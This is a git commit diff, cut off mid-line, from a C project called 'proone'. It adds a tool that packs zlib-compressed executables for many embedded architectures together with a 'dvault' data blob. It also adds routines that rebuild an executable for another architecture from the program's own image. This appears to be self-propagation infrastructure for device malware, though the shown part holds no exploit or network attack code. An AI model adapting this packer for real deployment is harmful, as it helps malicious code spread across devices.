diff options
author | David Timber <mieabby@gmail.com> | 2020-09-07 21:54:51 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-07 21:54:51 +0930 |
commit | 8eed8cde29960ace2ea1b2ceb61962be6f258364 (patch) | |
tree | d10a563577451d397f05a9420d4947a65bea412a | |
parent | 68bab4b86fef25f835c6b20a178c9b34ff8d2bd7 (diff) |
* Impl: proone-pack
* Impl: host_cred (base64)
-rw-r--r-- | .vscode/launch.json | 30 | ||||
-rw-r--r-- | .vscode/tasks.json | 6 | ||||
-rw-r--r-- | src/config.h | 5 | ||||
-rw-r--r-- | src/pack.c | 691 | ||||
-rw-r--r-- | src/pack.h | 80 | ||||
-rw-r--r-- | src/proone-pack.c | 430 | ||||
-rw-r--r-- | src/proone-test_proto.c | 38 | ||||
-rw-r--r-- | src/proone.c | 40 | ||||
-rw-r--r-- | src/proone.h | 3 | ||||
-rw-r--r-- | src/protocol.c | 42 | ||||
-rw-r--r-- | src/protocol.h | 6 | ||||
-rw-r--r-- | src/util_ct.h | 6 |
12 files changed, 890 insertions, 487 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json index 4216eb2..f0ca3fb 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -46,11 +46,39 @@ "miDebuggerPath": "/usr/bin/gdb" }, { + "name": "pack", + "type": "cppdbg", + "request": "launch", + "program": "${workspaceFolder}/src/proone-pack", + "args": [ + "tmp/pack-test/exec", + "src/dvault.bin", + "src/data/pack-test/exec.aarch64", + "src/data/pack-test/exec.armv4t", + "src/data/pack-test/exec.armv7", + "src/data/pack-test/exec.i686", + "src/data/pack-test/exec.mips", + "src/data/pack-test/exec.mpsl", + "src/data/pack-test/exec.ppc", + "src/data/pack-test/exec.sh4", + "src/data/pack-test/exec.x86_64" + ], + "stopAtEntry": false, + "cwd": "${workspaceFolder}", + "environment": [], + "externalConsole": false, + "MIMode": "gdb", + "setupCommands": [], + "preLaunchTask": "Build pack", + "miDebuggerPath": "/usr/bin/gdb" + }, + + { "name": "proone", "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone", - "args": [], + "args": [ "cXdlcnR5dWlvcFtdYXNkZmdoamtsOyd6eGN2Ym5tLC4vYDEyMzQ1Njc4OTAtPX4hQCMkJV4mKigpXyt8XA==" ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], diff --git a/.vscode/tasks.json b/.vscode/tasks.json index f78549c..c8402b5 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -36,11 +36,17 @@ "command": "make -C ./src proone-resolv" }, { + "label": "Build pack", + "type": "shell", + "command": "make -C ./src dvault.bin proone-pack" + }, + { "label": "Build proone", "type": "shell", "command": "make -C ./src proone" }, + { "label": "Build test_proto", "type": "shell", diff --git a/src/config.h b/src/config.h index 6206b63..4c1c445 100644 --- a/src/config.h +++ b/src/config.h @@ -5,6 +5,8 @@ #include <stddef.h> #include <stdbool.h> +#include <zlib.h> + #if INTPTR_MAX == INT32_MAX #define PRNE_HOST_WORDSIZE 32 @@ -16,4 +18,7 @@ #define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f } #define PRNE_SHG_SALT { 0x31, 0xe4, 0xf1, 0x7c, 0xdb, 0x76, 0x43, 0x32, 0xaf, 0x48, 0xfd, 0x9f, 0xb8, 0x45, 0x3f, 0x8f } + +#define PRNE_PACK_Z_LEVEL Z_DEFAULT_COMPRESSION + extern const prne_arch_t prne_host_arch; @@ -1,357 +1,496 @@ #include "pack.h" -#include "util_rt.h" #include "util_ct.h" +#include "util_rt.h" +#include "endian.h" +#include "config.h" -#include <stdint.h> -#include <stdbool.h> -#include <stdlib.h> -#include <stdio.h> #include <string.h> - #include <errno.h> -#include <zlib.h> -#include <mbedtls/error.h> - -struct prne_unpack_ctx { - size_t end; - z_stream zs; -}; - -static int bin_tpl_comp_func (const void *a, const void *b) { - return ((const prne_bin_tuple_t*)a)->arch < ((const prne_bin_tuple_t*)b)->arch ? -1 : ((const prne_bin_tuple_t*)a)->arch > ((const prne_bin_tuple_t*)b)->arch ? 1 : 0; -} +typedef struct { + const uint8_t *data; + size_t rem; +} pack_rcb_pt_octx_t; +typedef struct { + uint8_t buf[4096]; + const uint8_t *m_dv; + size_t dv_len; + size_t ofs; + const prne_bin_tuple_t *t; + const prne_bin_archive_t *ba; + size_t buf_len; // 0: used as z_stream buffer, > 0: used as something else + size_t seek, skip; // Offset to binary to exclude and its length + z_stream z_old, z_ny; + prne_arch_t a_self; +} pack_rcb_rb_octx_t; void prne_init_bin_archive (prne_bin_archive_t *a) { - a->data_size = 0; - a->data = NULL; - a->nb_bin = 0; - a->bin = NULL; + prne_memzero(a, sizeof(prne_bin_archive_t)); } void prne_free_bin_archive (prne_bin_archive_t *a) { - prne_free(a->data); prne_free(a->bin); - a->data_size = 0; - a->data = NULL; - a->nb_bin = 0; a->bin = NULL; + a->nb_bin = 0; } -prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out) { - prne_pack_ret_t ret; - uint8_t *data = NULL; +prne_pack_rc_t prne_index_bin_archive ( + const uint8_t *data, + size_t len, + prne_bin_archive_t *out) +{ + prne_pack_rc_t ret = PRNE_PACK_RC_OK; prne_bin_tuple_t *bin = NULL; - size_t i, r_len, pos = 0, data_size = 0, nb_bin = 0; - uint8_t head[4]; - void *ny_mem; - const size_t pagesize = prne_getpagesize(); - - r_len = 0; - ret = rf(rf_ctx, 1, head, &r_len); - if (ret.rc != PRNE_PACK_RC_OK) { - goto ERR; + size_t nb_bin, i, sum = 0; + + if (len < 4) { + ret = PRNE_PACK_RC_FMT_ERR; + goto END; } - if (r_len != 1) { - ret.rc = PRNE_PACK_RC_FMT_ERR; - goto ERR; + nb_bin = data[0]; + len -= 4; + data += 4; + if (nb_bin * 4 > len) { + ret = PRNE_PACK_RC_FMT_ERR; + goto END; } - nb_bin = head[0]; bin = (prne_bin_tuple_t*)prne_malloc(sizeof(prne_bin_tuple_t), nb_bin); if (bin == NULL) { - ret.rc = PRNE_PACK_RC_ERRNO; - ret.err = errno; - goto ERR; - } - for (i = 0; i < nb_bin; i += 1) { - r_len = 0; - ret = rf(rf_ctx, 4, head, &r_len); - if (ret.rc != PRNE_PACK_RC_OK) { - goto ERR; - } - if (r_len != 4) { - ret.rc = PRNE_PACK_RC_FMT_ERR; - goto ERR; - } - - bin[i].arch = (prne_arch_t)head[0]; - bin[i].offset = pos; - pos += bin[i].size = ((size_t)head[1] << 16) | ((size_t)head[2] << 8) | ((size_t)head[3]); + ret = PRNE_PACK_RC_ERRNO; + goto END; } - pos = 0; - do { - ny_mem = prne_realloc(data, 1, pos + pagesize); - if (ny_mem == NULL) { - ret.rc = PRNE_PACK_RC_ERRNO; - ret.err = errno; - goto ERR; - } - data = (uint8_t*)ny_mem; - - ret = rf(rf_ctx, pagesize, data + pos, &r_len); - if (ret.rc != PRNE_PACK_RC_OK) { - goto ERR; - } - data_size += r_len; - pos += pagesize; - } while (r_len == pagesize); - ny_mem = prne_realloc(data, 1, data_size); - if (ny_mem == NULL) { - ret.rc = PRNE_PACK_RC_ERRNO; - ret.err = errno; - goto ERR; + for (i = 0; i < nb_bin; i += 1) { + bin[i].arch = (prne_arch_t)data[0]; + bin[i].size = prne_recmb_msb32(0, data[1], data[2], data[3]); + sum += bin[i].size; + data += 4; + len -= 4; } - data = (uint8_t*)ny_mem; - qsort(bin, nb_bin, sizeof(prne_bin_tuple_t), bin_tpl_comp_func); out->data = data; - out->data_size = data_size; + out->data_size = len; out->nb_bin = nb_bin; out->bin = bin; + bin = NULL; - return ret; -ERR: +END: prne_free(bin); - prne_free(data); - return ret; } -prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out) { - prne_bin_tuple_t main_tpl; - prne_bin_tuple_t *tpl; - prne_unpack_ctx_pt ret = NULL; - uint8_t buf[4096]; - size_t i, cnt; - prne_pack_ret_t pr; - - pr.rc = PRNE_PACK_RC_OK; - pr.err = 0; +void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx) { + prne_memzero(ctx, sizeof(prne_bin_rcb_ctx_t)); +} - main_tpl.arch = arch; - tpl = (prne_bin_tuple_t*)bsearch(&main_tpl, archive->bin, archive->nb_bin, sizeof(prne_bin_tuple_t), bin_tpl_comp_func); - if (tpl == NULL) { - pr.rc = PRNE_PACK_RC_NO_BIN; - goto ERR; +void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx) { + ctx->read_f = NULL; + if (ctx->o_ctx != NULL) { + ctx->ctx_free_f(ctx->o_ctx); + ctx->o_ctx = NULL; + ctx->ctx_free_f = NULL; } - main_tpl = *tpl; +} + +void pack_rcb_free_pt_octx (void *p) { + prne_free(p); +} - ret = (prne_unpack_ctx_pt)prne_malloc(sizeof(struct prne_unpack_ctx), 1); - if (ret == NULL) { - pr.rc = PRNE_PACK_RC_ERRNO; - pr.err = errno; - goto ERR; +void pack_rcb_free_rb_octx (void *p) { + pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)p; + + inflateEnd(&ctx->z_old); + deflateEnd(&ctx->z_ny); + prne_free(ctx); +} + +static ssize_t pack_rcb_nullread_f ( + prne_bin_rcb_ctx_t *ctx, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err) +{ + prne_chk_assign(prc, PRNE_PACK_RC_EOF); + prne_chk_assign(err, 0); + return 0; +} + +static ssize_t pack_rcb_ptread_f ( + prne_bin_rcb_ctx_t *ctx_p, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err) +{ + pack_rcb_pt_octx_t *ctx = (pack_rcb_pt_octx_t*)ctx_p->o_ctx; + const size_t consume = prne_op_min(len, ctx->rem); + + memcpy(buf, ctx->data, consume); + ctx->data += consume; + ctx->rem -= consume; + + if (ctx->rem == 0) { + ctx_p->read_f = pack_rcb_nullread_f; + ctx_p->ctx_free_f(ctx); + ctx_p->o_ctx = NULL; + ctx_p->ctx_free_f = NULL; } - prne_memzero(&ret->zs, sizeof(ret->zs)); - if (Z_OK != (pr.err = inflateInit(&ret->zs))) { - prne_free(ret); - ret = NULL; - pr.rc = PRNE_PACK_RC_Z_ERR; - goto ERR; + prne_chk_assign(prc, PRNE_PACK_RC_OK); + prne_chk_assign(err, 0); + return consume; +} + +static ssize_t pack_rcb_rpread_f ( + prne_bin_rcb_ctx_t *ctx_p, + uint8_t *buf, + size_t len, + prne_pack_rc_t *out_prc, + int *out_err) +{ + prne_pack_rc_t prc = PRNE_PACK_RC_OK; + int err = 0; + pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)ctx_p->o_ctx; + size_t consume; + + if (ctx->buf_len > 0) { + // alignment and index + consume = prne_op_min(ctx->buf_len, len); + memcpy(buf, ctx->buf, consume); + memmove(ctx->buf, ctx->buf + consume, ctx->buf_len - consume); + ctx->buf_len -= consume; } - ret->zs.avail_in = archive->data_size; - ret->zs.next_in = archive->data; - - cnt = main_tpl.offset / sizeof(buf); - for (i = 0; i < cnt; i += 1) { - ret->zs.avail_out = sizeof(buf); - ret->zs.next_out = buf; - switch (inflate(&ret->zs, Z_SYNC_FLUSH)) { - case Z_OK: + else { + int d_flush = Z_NO_FLUSH; + + if (ctx->z_ny.avail_in == 0) { + if (ctx->seek > 0) { + consume = prne_op_min(sizeof(ctx->buf), ctx->seek); + } + else if (ctx->skip > 0) { + consume = prne_op_min(sizeof(ctx->buf), ctx->skip); + } + else { + consume = sizeof(ctx->buf); + } + ctx->z_old.avail_out = consume; + ctx->z_old.next_out = ctx->buf; + err = inflate(&ctx->z_old, Z_FINISH); + switch (err) { + case Z_STREAM_END: + d_flush = Z_FINISH; + /* fall-through */ + case Z_BUF_ERROR: + case Z_OK: + err = 0; + break; + default: + consume = -1; + prc = PRNE_PACK_RC_Z_ERR; + goto END; + } + + consume -= ctx->z_old.avail_out; + if (ctx->seek > 0) { + ctx->seek -= consume; + } + else if (ctx->skip > 0) { + ctx->skip -= consume; + consume = 0; + goto END; + } + ctx->z_ny.next_in = ctx->buf; + ctx->z_ny.avail_in = consume; + } + + ctx->z_ny.avail_out = len; + ctx->z_ny.next_out = buf; + err = deflate(&ctx->z_ny, d_flush); + switch (err) { + case Z_STREAM_END: + ctx_p->read_f = pack_rcb_nullread_f; + prc = PRNE_PACK_RC_EOF; + /* fall-through */ case Z_BUF_ERROR: + case Z_OK: + err = 0; break; default: - pr.rc = PRNE_PACK_RC_FMT_ERR; - goto ERR; - } - if (ret->zs.avail_out != 0) { - pr.rc = PRNE_PACK_RC_FMT_ERR; - goto ERR; + consume = -1; + prc = PRNE_PACK_RC_Z_ERR; + goto END; } + consume = len - ctx->z_ny.avail_out; } +END: + prne_chk_assign(out_prc, prc); + prne_chk_assign(out_err, err); + return consume; +} - ret->zs.avail_out = main_tpl.offset - cnt * sizeof(buf); - ret->zs.next_out = buf; - switch (inflate(&ret->zs, Z_SYNC_FLUSH)) { - case Z_OK: - case Z_BUF_ERROR: - break; - default: - pr.rc = PRNE_PACK_RC_FMT_ERR; - goto ERR; - } - if (ret->zs.total_out != main_tpl.offset) { - pr.rc = PRNE_PACK_RC_FMT_ERR; - goto ERR; +static ssize_t pack_rcb_dvread_f ( + prne_bin_rcb_ctx_t *ctx_p, + uint8_t *buf, + size_t len, + prne_pack_rc_t *out_prc, + int *out_err) +{ + pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)ctx_p->o_ctx; + size_t consume; + + if (ctx->buf_len > 0) { + // alignment and appendix + consume = prne_op_min(ctx->buf_len, len); + memcpy(buf, ctx->buf, consume); + memmove(ctx->buf, ctx->buf + consume, ctx->buf_len - consume); + ctx->buf_len -= consume; } + else { + // dv + consume = prne_op_min(ctx->skip, len); + memcpy(buf, ctx->m_dv, consume); + ctx->skip -= consume; + ctx->m_dv += consume; + + if (ctx->skip == 0) { + prne_bin_tuple_t *t; + uint8_t *nb_bin_loc; + + // alignment and bin archive index + prne_static_assert( + sizeof(ctx->buf) >= PRNE_BIN_ALIGNMENT + NB_PRNE_ARCH * 4, + "FIXME"); + ctx->buf_len = + prne_salign_next(ctx->dv_len, PRNE_BIN_ALIGNMENT) + - ctx->dv_len; + prne_memzero(ctx->buf, ctx->buf_len); + + nb_bin_loc = &ctx->buf[ctx->buf_len + 0]; + *nb_bin_loc = 0; + ctx->buf[ctx->buf_len + 1] = 0; + ctx->buf[ctx->buf_len + 2] = 0; + ctx->buf[ctx->buf_len + 3] = 0; + ctx->buf_len += 4; + + if (ctx->a_self != PRNE_ARCH_NONE) { + ctx->buf[ctx->buf_len + 0] = (uint8_t)ctx->a_self; + ctx->buf[ctx->buf_len + 1] = + prne_getmsb32(ctx->z_ny.avail_in, 1); + ctx->buf[ctx->buf_len + 2] = + prne_getmsb32(ctx->z_ny.avail_in, 2); + ctx->buf[ctx->buf_len + 3] = + prne_getmsb32(ctx->z_ny.avail_in, 3); + ctx->buf_len += 4; + *nb_bin_loc += 1; + } - ret->end = main_tpl.offset + main_tpl.size; - if (pr_out != NULL) { - *pr_out = pr; - } - return ret; -ERR: - if (ret != NULL) { - inflateEnd(&ret->zs); - prne_free(ret); - } - if (pr_out != NULL) { - *pr_out = pr; + for (size_t i = 0; i < ctx->ba->nb_bin; i += 1) { + t = ctx->ba->bin + i; + + if (t->arch == ctx->t->arch) { + continue; + } + ctx->buf[ctx->buf_len + 0] = (uint8_t)t->arch; + ctx->buf[ctx->buf_len + 1] = prne_getmsb32(t->size, 1); + ctx->buf[ctx->buf_len + 2] = prne_getmsb32(t->size, 2); + ctx->buf[ctx->buf_len + 3] = prne_getmsb32(t->size, 3); + ctx->buf_len += 4; + *nb_bin_loc += 1; + } + + ctx->seek = ctx->ofs; + ctx->skip = ctx->t->size; + ctx_p->read_f = pack_rcb_rpread_f; + } } - return NULL; + prne_chk_assign(out_prc, PRNE_PACK_RC_OK); + prne_chk_assign(out_err, 0); + return consume; } -void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx) { - if (ctx != NULL) { - inflateEnd(&ctx->zs); - prne_free(ctx); +static ssize_t pack_rcb_eeread_f ( + prne_bin_rcb_ctx_t *ctx_p, + uint8_t *buf, + size_t len, + prne_pack_rc_t *out_prc, + int *out_err) +{ + prne_pack_rc_t prc = PRNE_PACK_RC_OK; + int err = 0; + pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)ctx_p->o_ctx; + size_t consume; + + if (ctx->seek > 0) { + ctx->z_old.avail_out = prne_op_min(sizeof(ctx->buf), ctx->seek); + ctx->z_old.next_out = ctx->buf; } -} - -ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out) { - const size_t rem = ctx->end - ctx->zs.total_out; - const size_t req = prne_op_min(rem, out_len); - prne_pack_ret_t pr; - - pr.rc = PRNE_PACK_RC_OK; - pr.err = 0; - - if (req == 0) { - return 0; + else { + ctx->z_old.avail_out = prne_op_min(len, ctx->skip); + ctx->z_old.next_out = buf; } - - ctx->zs.next_out = out; - ctx->zs.avail_out = req; - switch ((pr.err = inflate(&ctx->zs, Z_SYNC_FLUSH))) { - case Z_OK: + consume = ctx->z_old.avail_out; + err = inflate(&ctx->z_old, Z_FINISH); + switch (err) { case Z_STREAM_END: case Z_BUF_ERROR: - pr.err = 0; + case Z_OK: + err = 0; break; default: - pr.rc = PRNE_PACK_RC_Z_ERR; - goto END; - } - if (ctx->zs.avail_out != 0) { - pr.rc = PRNE_PACK_RC_FMT_ERR; + consume = -1; + prc = PRNE_PACK_RC_Z_ERR; goto END; } -END: - if (pr_out != NULL) { - *pr_out = pr; + consume -= ctx->z_old.avail_out; + if (ctx->seek > 0) { + ctx->seek -= consume; + consume = 0; } - if (pr.rc != PRNE_PACK_RC_OK) { - return -1; + else { + ctx->skip -= consume; + + if (ctx->skip == 0) { + // alignment and appendix + const size_t aligned = prne_salign_next( + ctx->t->size, + PRNE_BIN_ALIGNMENT); + + if ((err = inflateEnd(&ctx->z_old)) != Z_OK || + (err = inflateInit(&ctx->z_old)) != Z_OK) + { + prc = PRNE_PACK_RC_Z_ERR; + goto END; + } + err = 0; + ctx->z_old.avail_in = ctx->ba->data_size; + ctx->z_old.next_in = (uint8_t*)ctx->ba->data; + + prne_static_assert( + sizeof(ctx->buf) >= PRNE_BIN_ALIGNMENT + 8, + "FIXME"); + + ctx->buf_len = aligned - ctx->t->size; + prne_memzero(ctx->buf, ctx->buf_len); + ctx->buf[ctx->buf_len + 0] = prne_getmsb16(ctx->dv_len, 0); + ctx->buf[ctx->buf_len + 1] = prne_getmsb16(ctx->dv_len, 1); + ctx->buf[ctx->buf_len + 2] = 0; + ctx->buf[ctx->buf_len + 3] = 0; + ctx->buf[ctx->buf_len + 4] = 0; + ctx->buf[ctx->buf_len + 5] = 0; + ctx->buf[ctx->buf_len + 6] = 0; + ctx->buf[ctx->buf_len + 7] = 0; + ctx->buf_len += 8; + ctx->skip = ctx->dv_len; + + ctx_p->read_f = pack_rcb_dvread_f; + } } - return req; +END: + prne_chk_assign(out_prc, prc); + prne_chk_assign(out_err, err); + return consume; } -char *prne_pack_ret_tostr (const prne_pack_ret_t pr) { - const char *rc_str; - const char *err_str; - char *buf = NULL, err_buf[31]; - size_t buf_size; - - switch (pr.rc) { - case PRNE_PACK_RC_OK: rc_str = "ok"; break; - case PRNE_PACK_RC_FMT_ERR: rc_str = "fmt err"; break; - case PRNE_PACK_RC_NO_BIN: rc_str = "no bin"; break; - default: rc_str = NULL; - } - if (rc_str != NULL) { - buf_size = strlen(rc_str) + 1; - buf = (char*)prne_malloc(1, buf_size); - if (buf != NULL) { - memcpy(buf, rc_str, buf_size); - } - return buf; +prne_pack_rc_t prne_start_bin_rcb ( + prne_bin_rcb_ctx_t *ctx, + const prne_arch_t target, + const prne_arch_t self, + const uint8_t *m_self, + const size_t self_len, + const size_t exec_len, + const uint8_t *m_dvault, + const size_t dvault_len, + const prne_bin_archive_t *ba) +{ + if (!prne_arch_inrange(target) || + (!prne_arch_inrange(self) && self != PRNE_ARCH_NONE)) + { + return PRNE_PACK_RC_INVAL; } - switch (pr.rc) { - case PRNE_PACK_RC_ERRNO: - rc_str = "errno"; - err_str = strerror(pr.err); - break; - case PRNE_PACK_RC_Z_ERR: - rc_str = "zlib err"; - err_str = zError(pr.err); - break; - case PRNE_PACK_RC_MBEDTLS_ERR: - rc_str = "mbedtls err"; - mbedtls_strerror(pr.err, err_buf, sizeof(err_buf)); - err_str = err_buf; - break; - default: - errno = EINVAL; - return NULL; - } + if (self == target) { + pack_rcb_pt_octx_t *ny_ctx = + (pack_rcb_pt_octx_t*)prne_malloc(sizeof(pack_rcb_pt_octx_t), 1); - buf_size = strlen(rc_str) + 4 + 11 + 1 + strlen(err_str) + 1; - buf = (char*)prne_malloc(1, buf_size); - if (buf != NULL) { - if (sprintf(buf, "%s - (%d)%s", rc_str, pr.err, err_str) < 0) { - prne_free(buf); - return NULL; + if (ny_ctx == NULL) { + return PRNE_PACK_RC_ERRNO; } - } - return buf; -} - -void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { - ctx->line_len = 0; - ctx->out_len = 0; -} -void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { - ctx->line_len = 0; - ctx->out_len = 0; -} + ny_ctx->data = m_self; + ny_ctx->rem = self_len; -prne_pack_ret_t prne_stdin_base64_rf (void *in_ctx, const size_t req, uint8_t *out, size_t *out_len) { - prne_stdin_base64_rf_ctx_t *ctx = (prne_stdin_base64_rf_ctx_t*)in_ctx; - size_t rem = req, have; - prne_pack_ret_t ret; - - ret.rc = PRNE_PACK_RC_OK; - ret.err = 0; - *out_len = 0; - - while (true) { - have = prne_op_min(rem, ctx->out_len); - memcpy(out, ctx->out_buf, have); - memmove(ctx->out_buf, ctx->out_buf + have, ctx->out_len - have); - rem -= have; - ctx->out_len -= have; - out += have; - *out_len += have; - - if (rem == 0) { - break; - } - - if (fgets(ctx->line_buf, sizeof(ctx->line_buf), stdin) == NULL) { - if (feof(stdin)) { + prne_free_bin_rcb_ctx(ctx); + ctx->ctx_free_f = pack_rcb_free_pt_octx; + ctx->o_ctx = ny_ctx; + ctx->read_f = pack_rcb_ptread_f; + } + else { + pack_rcb_rb_octx_t *ny_ctx = NULL; + prne_bin_tuple_t *t = NULL; + size_t seek = 0; + + for (size_t i = 0; i < ba->nb_bin; i += 1) { + if (ba->bin[i].arch == target) { + t = &ba->bin[i]; break; } - ret.rc = PRNE_PACK_RC_ERRNO; - ret.err = errno; - break; + seek += ba->bin[i].size; + } + if (t == NULL) { + return PRNE_PACK_RC_NO_ARCH; } - ctx->line_len = prne_str_shift_spaces(ctx->line_buf, strlen(ctx->line_buf)); - if ((ret.err = mbedtls_base64_decode(ctx->out_buf, sizeof(ctx->out_buf), &ctx->out_len, (unsigned char*)ctx->line_buf, ctx->line_len)) != 0) { - ret.rc = PRNE_PACK_RC_MBEDTLS_ERR; - break; + ny_ctx = + (pack_rcb_rb_octx_t*)prne_malloc(sizeof(pack_rcb_rb_octx_t), 1); + if (ny_ctx == NULL) { + return PRNE_PACK_RC_ERRNO; + } + prne_memzero(ny_ctx, sizeof(pack_rcb_rb_octx_t)); + + if (inflateInit(&ny_ctx->z_old) != Z_OK || + deflateInit(&ny_ctx->z_ny, PRNE_PACK_Z_LEVEL) != Z_OK) + { + inflateEnd(&ny_ctx->z_old); + deflateEnd(&ny_ctx->z_ny); + prne_free(ny_ctx); + return PRNE_PACK_RC_Z_ERR; } + ny_ctx->m_dv = m_dvault; + ny_ctx->dv_len = dvault_len; + ny_ctx->ofs = seek; + ny_ctx->t = t; + ny_ctx->ba = ba; + ny_ctx->seek = seek; + ny_ctx->skip = t->size; + + ny_ctx->z_old.avail_in = ba->data_size; + ny_ctx->z_old.next_in = (uint8_t*)ba->data; + ny_ctx->z_ny.avail_in = exec_len; + ny_ctx->z_ny.next_in = (uint8_t*)m_self; + ny_ctx->a_self = self; + + prne_free_bin_rcb_ctx(ctx); + ctx->ctx_free_f = pack_rcb_free_rb_octx; + ctx->o_ctx = ny_ctx; + ctx->read_f = pack_rcb_eeread_f; } - return ret; + return PRNE_PACK_RC_OK; +} + +ssize_t prne_bin_rcb_read ( + prne_bin_rcb_ctx_t *ctx, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err) +{ + return ctx->read_f(ctx, buf, len, prc, err); } @@ -4,67 +4,69 @@ #include "protocol.h" -struct prne_bin_tuple; -struct prne_bin_archive; -struct prne_pack_ret; -struct prne_unpack_ctx; +#include <zlib.h> + + typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; -typedef struct prne_pack_ret prne_pack_ret_t; -typedef struct prne_unpack_ctx* prne_unpack_ctx_pt; +typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t; typedef enum { PRNE_PACK_RC_OK, + PRNE_PACK_RC_EOF, + PRNE_PACK_RC_INVAL, PRNE_PACK_RC_FMT_ERR, PRNE_PACK_RC_ERRNO, PRNE_PACK_RC_Z_ERR, - PRNE_PACK_RC_MBEDTLS_ERR, - PRNE_PACK_RC_NO_BIN, + PRNE_PACK_RC_NO_ARCH } prne_pack_rc_t; struct prne_bin_tuple { - prne_arch_t arch; - size_t offset; size_t size; + prne_arch_t arch; }; struct prne_bin_archive { - uint8_t *data; + const uint8_t *data; size_t data_size; size_t nb_bin; prne_bin_tuple_t *bin; }; -struct prne_pack_ret { - prne_pack_rc_t rc; - int err; -}; - -struct prne_stdin_base64_rf_ctx; -typedef struct prne_stdin_base64_rf_ctx prne_stdin_base64_rf_ctx_t; - -struct prne_stdin_base64_rf_ctx { - size_t line_len; - size_t out_len; - char line_buf[78]; - uint8_t out_buf[58]; +// Recombination Context +struct prne_bin_rcb_ctx { + void *o_ctx; + void (*ctx_free_f)(void*); + ssize_t(*read_f)( + prne_bin_rcb_ctx_t *ctx, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err); }; - -typedef prne_pack_ret_t(*prne_bin_archive_read_ft)(void *ctx, const size_t req, uint8_t *out, size_t *out_len); - - void prne_init_bin_archive (prne_bin_archive_t *a); void prne_free_bin_archive (prne_bin_archive_t *a); -prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out); - -prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out); -void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx); -ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out); - -// WARN: uses stdio func -char *prne_pack_ret_tostr (const prne_pack_ret_t pr); +prne_pack_rc_t prne_index_bin_archive ( + const uint8_t *data, + size_t len, + prne_bin_archive_t *out); -void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); -void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); -prne_pack_ret_t prne_stdin_base64_rf (void *ctx, const size_t req, uint8_t *out, size_t *out_len); +void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); +void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); +prne_pack_rc_t prne_start_bin_rcb ( + prne_bin_rcb_ctx_t *ctx, + const prne_arch_t target, + const prne_arch_t self, + const uint8_t *m_self, + const size_t self_len, + const size_t exec_len, + const uint8_t *m_dvault, + const size_t dvault_len, + const prne_bin_archive_t *ba); +ssize_t prne_bin_rcb_read ( + prne_bin_rcb_ctx_t *ctx, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err); diff --git a/src/proone-pack.c b/src/proone-pack.c index 4f5fbc1..555dbf4 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -14,66 +14,291 @@ #include "util_rt.h" #include "util_ct.h" +#include "endian.h" #include "protocol.h" +#include "config.h" +#include "pack.h" + +#define ENABLE_TEST 0 +#define TEST_DEPTH 2 + typedef struct { prne_arch_t arch; const char *path; struct stat st; + uint8_t *m_exec; } archive_tuple_t; -uint8_t buf_in[16384], buf_out[16384]; const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; archive_tuple_t archive_arr[NB_PRNE_ARCH]; -size_t archive_arr_cnt = 0; +size_t archive_arr_cnt; +uint8_t *m_dv; +size_t dv_len; +uint8_t *m_ba; +size_t ba_size, ba_len; +size_t PAGESIZE; static void report_zerror (const int z_ret, const char *msg) { fprintf(stderr, "%s: (%d)%s\n", msg, z_ret, zError(z_ret)); } +static bool load_dv (const char *path, uint8_t **m_dv, size_t *len) { + bool ret = false; + int fd; + off_t ofs; + + fd = open(path, O_RDONLY); + if (fd < 0) { + goto END; + } + + ofs = lseek(fd, 0, SEEK_END); + if (ofs < 0 || lseek(fd, 0, SEEK_SET) < 0) { + goto END; + } + + *m_dv = (uint8_t*)prne_realloc(*m_dv, 1, ofs); + prne_assert(*m_dv != NULL); + *len = (size_t)ofs; + + if (read(fd, *m_dv, *len) != (ssize_t)*len) { + goto END; + } + ret = true; + +END: + prne_close(fd); + return ret; +} + +static size_t do_read ( + uint8_t **m, + size_t *size, + prne_bin_rcb_ctx_t *ctx) +{ + prne_pack_rc_t prc; + int err; + size_t len = 0; + ssize_t f_ret; + + prne_free(*m); + *m 